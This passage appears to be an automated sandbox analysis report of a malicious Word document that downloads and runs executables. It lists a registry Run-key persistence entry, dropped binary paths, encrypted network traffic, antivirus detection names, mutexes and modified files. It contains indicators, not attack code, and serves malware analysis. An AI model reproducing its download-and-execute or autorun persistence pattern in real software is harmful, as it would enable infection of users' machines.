                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`\\x99\\xd6w\\xdf\\x82\\x03m\\x10\\x9day\\x8c:\\x91\\xc2s=\\xfe1\\xcb6\\xff\\xe2tb\\xf0\\x15\\x0cu\\xe1\\x83\\x8ap\\xc4\\xc6\\\\x01\\x13j2\\xa0\\x0cm\\x0by\\xd7\\xdfr^\\xdc\\xf7\\x8c\\xf7\\x9d\\xe2\\xf3ym\\xd0\\xc5\\xc2b\\xb0\\x99\\xd1\\xbb\\xeda<%\\xef\\x14y\\xe2\\xb4\\x10(\\xfcd/\n\\xed\\xb5\\xf6\\\\x92?jn\\x1f\\xb7\\x18%y\\xc9$\\x89k\\x9ab\\x05\\xa7\\x98\\x08nh\\x9f\\xb2_\\xbe\\x95c\\xa3rp\\x15t\\x8f)q\\xf0\\x8c3\\xa9\\xaa\\x8b?\\x97\\xf8`)f\\x9d\\x80v\\xd1\\xbc\\xa5b\\x92\\xacu\\xd2\\x8d\\x99i\\x85#\\xc7\\xe77vn\\x98\\xac\\xe3\\x15k\\x01,`\\x99\\xc15\\xf37c\\x1b\\xfd4j\\xf2r\\xa9\\x99\\xcb\\x15 \\xa8\\x18\\xe3\\xd0/\\x8bh \\xba\\x84\\x8e\"~\\x15<\\xbaw\\x12\\x16\\xdf\\x812\\xb2h\\x03wd\\xf3\\x88\\x8e\\xb9\\xe6\\xd3\\x9eu\\x8b\\x90\\xe2t1\\x1d\\xdd\"\\xb0\\xba\\x85\\xde7\\x0f\\xe7\\x9e+\\x1a^\\x85,\\xa4\\xb5\\xb0\\xe3?\\x98\\xd1\\xcc\\x88\\xe6m\\xb0/n\\xe3$"


                "http_request": "winword.exe_WSASend_\\x17\\x03\\x019p\\x8f\\x07\\x93\\x9f\\xe8\\x15\\x90\\xcb\\x93y\\x16b\\x9a\\x8b\\x1a(f#\\xfe\\xf5\\xab\\x04\\xe6\\xfdx&\\xd1v\\xac\\x88&b\\x19a\\xce\\xcat\\\\x018z\\xf4\\xf1\\x0f\\xe7`\\x8cm\\xfd\\xa1r\\xe0\\x97\\x04\\x1ex\\xad\\x1a4\\x1a\\xb3t&4\\xb1\\xb5~\\xa00=|2@\\xc9u\\x11\\x03\\x19\\x80j\\xdf\\xd1\\xa8\\xe6\\x1dp\\xa3\\x10\\xb6z\\x9a\\xc1ye\\xa4\\xb8l\\xeb,t\\xa1\\x96\\xee\\x86\\x84x\\xf4\\xdd?d\\x0b\\xb86~y\\xebg\\xfas\\x80\\x91\\xb7\\x02($\\xfc)\\xff;\\xf4x\\x80\\xe7(g\\x1a\\xb6\\x1f6\\xfc5r\\xa7\\xeb)xlm\\x98%\\xde8/\\x98\\xe5\\x83o\\xc4e)\\xa0p\\xa1\\xc0r\\xa3y\\x91\\x9d\\x9an\\xb1l\\x97\\xa6\\xac\\xbe\\x91yb\\xae\\x0b\\xb2\\xe0\\x88@a*s\\x0fmsnx\\xc9h\\x88;\\x8f\\xed\\xf6\\x0bm\\xa68\\x01vg\\x84\\xe42\\xc6\\x95j\\x0b@\\xb3\\xdc\\x84\\x8fs\\x8d\\xbe\"w\\x92\\xeb\\x10\\xe2\\xdde\\x16\\x0fx\\x804)r\\xa0\\xa7l\\xabzm$\\x07"




        "Description": "Likely Malicious Office Document DL/Write EXE to disk",
        "Details":

                "office_dl_write_exe": "winword.exe_URLDownloadToFileW_c:\\users\\user\\appdata\\local\\temp\\tzoujwjgi.exe"




        "Description": "Installs itself for autorun at Windows startup",
        "Details":

                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\flit"


                "data": "C:\\Users\\user\\AppData\\Roaming\\flit\\flit.exe"




        "Description": "File has been identified by 19 Antiviruses on VirusTotal as malicious",
        "Details":

                "K7AntiVirus": "Trojan ( 00536d111 )"


                "K7GW": "Trojan ( 00536d111 )"


                "Kaspersky": "HEUR:Trojan-Downloader.MSOffice.SLoad.gen"


                "AegisLab": "Trojan.MSOffice.SLoad.a!c"


                "Endgame": "malicious (moderate confidence)"


                "VIPRE": "LooksLike.Macro.Malware.gen!d4 (v)"


                "TrendMicro": "HEUR_VBA.O2"


                "McAfee-GW-Edition": "BehavesLike.Downloader.cl"


                "Ikarus": "Trojan-Downloader.VBA.Agent"


                "Jiangmin": "Trojan.MSOffice.SAgent.a"


                "Microsoft": "TrojanDownloader:O97M/Donoff"


                "AhnLab-V3": "VBA/Downloader.S30"


                "ZoneAlarm": "HEUR:Trojan-Downloader.MSOffice.SLoad.gen"


                "TACHYON": "Suspicious/W97M.Obfus.Gen.1"


                "Zoner": "Probably W97ShellA"


                "Rising": "Downloader.Agent/VBA!1.BA26 (CLASSIC)"


                "SentinelOne": "DFI - Malicious OLE"


                "Fortinet": "VBA/Agent.DQG!tr.dldr"


                "Qihoo-360": "virus.office.obfuscated.1"




        "Description": "Drops a binary and executes it",
        "Details":

                "binary": "C:\\Users\\user\\AppData\\Roaming\\flit\\flit.exe"


                "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\tzoujwjgi.exe"




        "Description": "Martian Subprocess Started By Office Process",
        "Details":

                "office_martian": "c:\\users\\user\\appdata\\local\\temp\\tzoujwjgi.exe"


                "office_martian": "c:\\users\\user\\appdata\\roaming\\flit\\flit.exe"




        "Description": "The office file has a macro.",
        "Details":

                "content": "The file appears to have no content."




        "Description": "The office file created a suspicious child process.",
        "Details":

                "Processes": "WINWORD.EXE -> tzoujwjgi.exe -> flit.exe"




        "Description": "Created network traffic indicative of malicious activity",
        "Details":

                "signature": "ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016"





* Started Service:
    "osppsvc"


* Mutexes:
    "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
    "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
    "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
    "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
    "CicLoadWinStaWinSta0",
    "Local\\MSCTF.CtfMonitorInstMutexDefault1",
    "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
    "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
    "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53",
    "EwlohRSK"


* Modified Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\NetWire_4a19fe5ce4fa0fb677fcff63f860d9fa.doc",
    "C:\\Users\\user\\AppData\\Local\\Temp\\~DF08375F40C5E2C76C.TMP",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
    "C:\\Users\\user\\AppData\\Local\\Temp\\~$tWire_4a19fe5ce4fa0fb677fcff63f860d9fa.doc",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSBAAE3184-58CA-4B30-9CD1-09410CF7F2F0.tmp",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSF8D8CBFD-F36C-43CB-AB02-B382207D5966.tmp",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
    "C:\\Users\\user\\AppData\\Local\\Temp\\CabA73A.tmp",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRFE7FD5319-E48F-46B4-A384-61B70D7EE029.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TarA73B.tmp",
    "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S4VH3RFR\\flit1.exe",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1C6.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1C7.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1E9.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1D8.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1EA.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1EB.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1FB.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1FC.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD20E.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD20F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD210.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD1FD.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD26F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD291.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD292.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD2A2.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD290.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD28F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD330.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD331.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD342.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD352.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD45D.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD4AC.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD4AD.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD4FC.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD51C.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD52D.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD52E.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD52F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD54F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD5DD.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD820.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD831.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD841.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\CabD852.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD8E1.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD8E2.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TarD853.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD950.tmp",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD98F.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabD9CF.tmp",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDA4D.tmp",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
    "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDA8C.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDB68.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDBE7.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDC97.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDB88.tmp\\turabian.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC85.tmp\\sist02.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC17.tmp\\rings.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDE77.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCD8.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDEA8.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDB88.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDD76.tmp\\InterconnectedBlockProcess.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC96.tmp\\mlaseventheditionofficeonline.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCF8.tmp\\gosttitle.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCD7.tmp\\gb.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC85.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC17.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCD8.tmp\\Parallax.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDDC5.tmp\\PictureFrame.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDD76.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC96.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabDFE4.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabE014.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE33.tmp\\TabList.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabE083.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE34.tmp\\HexagonRadial.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCD7.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE35.tmp\\iso690.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDCF8.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226fn=turabian.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE36.tmp\\CircleProcess.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE66.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE87.tmp\\Headlines.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDDC5.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE33.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE35.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF17.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE34.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE36.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE034.tmp\\Feathered.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDEF7.tmp\\harvardanglia2008officeonline.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE66.tmp\\Dividend.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF57.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabE45E.tmp",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227fn=sist02.xsl",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925fn=Interconnected Block Process.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDE87.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225fn=mlaseventheditionofficeonline.xsl",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998fn=Rings.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF17.tmp\\Metropolitan.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496fn=Parallax.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDEF7.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223fn=iso690.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5B8.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972fn=Tab List.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908fn=Circle Process.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218fn=gb.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE7AE.tmp\\BracketList.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221fn=harvardanglia2008officeonline.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE6D2.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103fn=Headlines.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE034.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919fn=Hexagon Radial.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE45D.tmp\\gostname.xsl",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932fn=Picture Frame.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE45F.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE81C.tmp\\Crop.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE7AE.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE6D2.tmp\\Droplet.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220fn=gosttitle.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE8F8.tmp\\Element design set.dotx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDF57.tmp\\Savon.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE81C.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464fn=Dividend.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE45D.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB6B.tmp\\ConvergingText.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104fn=Feathered.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabEC47.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEAED.tmp\\iso690nmerical.xsl",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893fn=BracketList.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE8F8.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491fn=Metropolitan.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105fn=Crop.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabEDA2.tmp",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925fn=Droplet.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510fn=Savon.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB6B.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEAED.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabEFA7.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEC18.tmp\\Circuit.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEC97.tmp\\Berlin.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED53.tmp\\Insight design set.dotx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE45F.tmp\\Quotable.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEFC7.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916fn=Converging Text.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998158fn=Element.dotx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224fn=iso690nmerical.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5B8.tmp\\Damask.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED53.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219fn=gostname.xsl",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEC18.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEFC7.tmp\\Frame.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEC97.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\cabF647.tmp",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921fn=Damask.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF47B.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5D4.tmp\\Badge.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F6.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF608.tmp\\Banded.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5E6.tmp\\ThemePictureAccent.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919fn=Circuit.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5E5.tmp\\RadialPictureList.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503fn=Quotable.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F7.tmp\\pictureorgchart.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159fn=Insight.dotx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475fn=Frame.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917fn=Berlin.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF47B.tmp\\Vapor_Trail.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F6.tmp\\Slate.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5D4.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF608.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5E6.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF791.tmp\\Equations.dotx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF781.tmp\\ThemePictureAlternatingAccent.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7A2.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5E5.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C2.tmp\\Basis.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C4.tmp\\ThemePictureGrid.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF5F7.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C3.tmp\\architecture.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF871.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF92E.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF791.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF781.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106fn=Badge.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C2.tmp\\content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430fn=Banded.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940fn=Radial Picture List.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975fn=Theme Picture Accent.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935fn=Picture Organization Chart.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937fn=Vapor Trail.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929fn=Slate.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF871.tmp\\Main_Event.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C3.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7A2.tmp\\Wood_Type.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF92E.tmp\\Mesh.thmx",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFA58.tmp\\chevronaccent.glox",
    "C:\\Users\\user\\AppData\\Local\\Temp\\TCDF7C4.tmp\\Content.inf",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983fn=Theme Picture Alternating Accent.glox",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907fn=Equations.dotx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444fn=Basis.thmx",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884fn=architecture.glox",
